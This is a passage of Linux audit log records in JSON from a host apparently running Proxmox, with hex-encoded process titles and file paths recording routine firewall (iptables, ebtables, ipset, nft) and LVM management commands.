mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146967,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.967:64380): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965598619,"@rawstring":"node=pve type=PATH msg=audit(1781965598.619:66298): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146967,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.967:64379): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965598619,"@rawstring":"node=pve type=PATH msg=audit(1781965598.619:66297): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146967,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.967:64378): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965598619,"@rawstring":"node=pve type=PATH msg=audit(1781965598.619:66296): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146957,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.957:64377): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965598612,"@rawstring":"node=pve type=PATH msg=audit(1781965598.612:66295): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146957,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.957:64376): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965598612,"@rawstring":"node=pve type=PATH msg=audit(1781965598.612:66295): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146957,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.957:64375): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965598612,"@rawstring":"node=pve type=PATH msg=audit(1781965598.612:66294): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146079,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.079:64374): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965598612,"@rawstring":"node=pve type=PATH msg=audit(1781965598.612:66293): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146073,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.073:64373): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965596095,"@rawstring":"node=pve type=PATH msg=audit(1781965596.095:66292): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146073,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.073:64372): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965596095,"@rawstring":"node=pve type=PATH msg=audit(1781965596.095:66292): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146073,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.073:64371): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965596092,"@rawstring":"node=pve type=PATH msg=audit(1781965596.092:66291): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146069,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.069:64370): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965596092,"@rawstring":"node=pve type=PATH msg=audit(1781965596.092:66291): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146055,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.055:64369): proctitle=\"ip6tables-save\""} {"@timestamp":1781965596091,"@rawstring":"node=pve type=PATH msg=audit(1781965596.091:66290): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146043,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.043:64368): proctitle=\"iptables-save\""} {"@timestamp":1781965596091,"@rawstring":"node=pve type=PATH msg=audit(1781965596.091:66290): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.036:64367): proctitle=\"ip6tables-save\""} {"@timestamp":1781965596091,"@rawstring":"node=pve type=PATH msg=audit(1781965596.091:66289): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146027,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.027:64366): proctitle=\"iptables-save\""} {"@timestamp":1781965596085,"@rawstring":"node=pve type=PATH msg=audit(1781965596.085:66288): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146022,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.022:64365): proctitle=\"ebtables-restore\""} {"@timestamp":1781965596085,"@rawstring":"node=pve type=PATH msg=audit(1781965596.085:66288): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146017,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.017:64364): proctitle=\"ebtables-restore\""} {"@timestamp":1781965596085,"@rawstring":"node=pve type=PATH msg=audit(1781965596.085:66288): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146009,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.009:64363): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965596079,"@rawstring":"node=pve type=PATH msg=audit(1781965596.079:66287): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146005,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965146.005:64362): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965596079,"@rawstring":"node=pve type=PATH msg=audit(1781965596.079:66287): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965145.999:64361): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965596071,"@rawstring":"node=pve type=PATH msg=audit(1781965596.071:66286): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145994,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965145.994:64360): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965596071,"@rawstring":"node=pve type=PATH msg=audit(1781965596.071:66286): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145984,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965145.984:64359): proctitle=697073657400726573746F7265"} {"@timestamp":1781965596063,"@rawstring":"node=pve type=PATH msg=audit(1781965596.063:66285): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145975,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965145.975:64358): proctitle=\"ip6tables-save\""} {"@timestamp":1781965596063,"@rawstring":"node=pve type=PATH msg=audit(1781965596.063:66285): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145957,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965145.957:64357): proctitle=\"iptables-save\""} {"@timestamp":1781965596052,"@rawstring":"node=pve type=PATH msg=audit(1781965596.052:66284): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145954,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965145.954:64356): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965596052,"@rawstring":"node=pve type=PATH msg=audit(1781965596.052:66284): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145948,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965145.948:64355): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965596042,"@rawstring":"node=pve type=PATH msg=audit(1781965596.042:66282): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145939,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965145.939:64354): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965596042,"@rawstring":"node=pve type=PATH msg=audit(1781965596.042:66282): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145939,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965145.939:64353): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965596036,"@rawstring":"node=pve type=PATH msg=audit(1781965596.036:66281): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145935,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965145.935:64352): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965596036,"@rawstring":"node=pve type=PATH msg=audit(1781965596.036:66281): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145925,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965145.925:64351): proctitle=\"ip6tables-save\""} {"@timestamp":1781965596030,"@rawstring":"node=pve type=PATH msg=audit(1781965596.030:66280): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145914,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965145.914:64350): proctitle=\"iptables-save\""} {"@timestamp":1781965596030,"@rawstring":"node=pve type=PATH msg=audit(1781965596.030:66280): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145910,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965145.910:64349): proctitle=69707365740073617665"} {"@timestamp":1781965596022,"@rawstring":"node=pve type=PATH msg=audit(1781965596.022:66279): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145894,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965145.894:64348): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965596022,"@rawstring":"node=pve type=PATH msg=audit(1781965596.022:66279): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145880,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965145.880:64347): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965596015,"@rawstring":"node=pve type=PATH msg=audit(1781965596.015:66278): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965144971,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965144.971:64346): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965596015,"@rawstring":"node=pve type=PATH msg=audit(1781965596.015:66278): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965144945,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965144.945:64345): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965596009,"@rawstring":"node=pve type=PATH msg=audit(1781965596.009:66277): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965141947,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965141.947:64344): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965596009,"@rawstring":"node=pve type=PATH msg=audit(1781965596.009:66277): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965141947,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965141.947:64343): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965596000,"@rawstring":"node=pve type=PATH msg=audit(1781965596.000:66276): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965141947,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965141.947:64342): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965596000,"@rawstring":"node=pve type=PATH msg=audit(1781965596.000:66276): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965141939,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965141.939:64341): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965595992,"@rawstring":"node=pve type=PATH msg=audit(1781965595.992:66275): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965141939,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965141.939:64340): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965595992,"@rawstring":"node=pve type=PATH msg=audit(1781965595.992:66275): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965141938,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965141.938:64339): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965595986,"@rawstring":"node=pve type=PATH msg=audit(1781965595.986:66274): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965136927,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965136.927:64338): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965595986,"@rawstring":"node=pve type=PATH msg=audit(1781965595.986:66274): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965136927,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965136.927:64337): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965595980,"@rawstring":"node=pve type=PATH msg=audit(1781965595.980:66273): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965136927,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965136.927:64336): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965595980,"@rawstring":"node=pve type=PATH msg=audit(1781965595.980:66273): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965136915,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965136.915:64335): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965595973,"@rawstring":"node=pve type=PATH msg=audit(1781965595.973:66272): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965136915,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965136.915:64334): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965595973,"@rawstring":"node=pve type=PATH msg=audit(1781965595.973:66272): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965136915,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965136.915:64333): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965595973,"@rawstring":"node=pve type=PATH msg=audit(1781965595.973:66271): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135869,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.869:64332): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965595962,"@rawstring":"node=pve type=PATH msg=audit(1781965595.962:66270): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135866,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.866:64331): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965595962,"@rawstring":"node=pve type=PATH msg=audit(1781965595.962:66270): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135865,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.865:64330): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965595962,"@rawstring":"node=pve type=PATH msg=audit(1781965595.962:66270): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135865,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.865:64329): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965595950,"@rawstring":"node=pve type=PATH msg=audit(1781965595.950:66269): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135861,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.861:64328): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965595950,"@rawstring":"node=pve type=PATH msg=audit(1781965595.950:66269): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135855,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.855:64327): proctitle=\"ip6tables-save\""} {"@timestamp":1781965595938,"@rawstring":"node=pve type=PATH msg=audit(1781965595.938:66268): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135848,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.848:64326): proctitle=\"iptables-save\""} {"@timestamp":1781965595938,"@rawstring":"node=pve type=PATH msg=audit(1781965595.938:66268): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135841,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.841:64325): proctitle=\"ip6tables-save\""} {"@timestamp":1781965595930,"@rawstring":"node=pve type=PATH msg=audit(1781965595.930:66267): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135833,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.833:64324): proctitle=\"iptables-save\""} {"@timestamp":1781965595930,"@rawstring":"node=pve type=PATH msg=audit(1781965595.930:66267): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135830,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.830:64323): proctitle=\"ebtables-restore\""} {"@timestamp":1781965595921,"@rawstring":"node=pve type=PATH msg=audit(1781965595.921:66266): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135828,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.828:64322): proctitle=\"ebtables-restore\""} {"@timestamp":1781965595921,"@rawstring":"node=pve type=PATH msg=audit(1781965595.921:66266): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135822,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.822:64321): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965595911,"@rawstring":"node=pve type=PATH 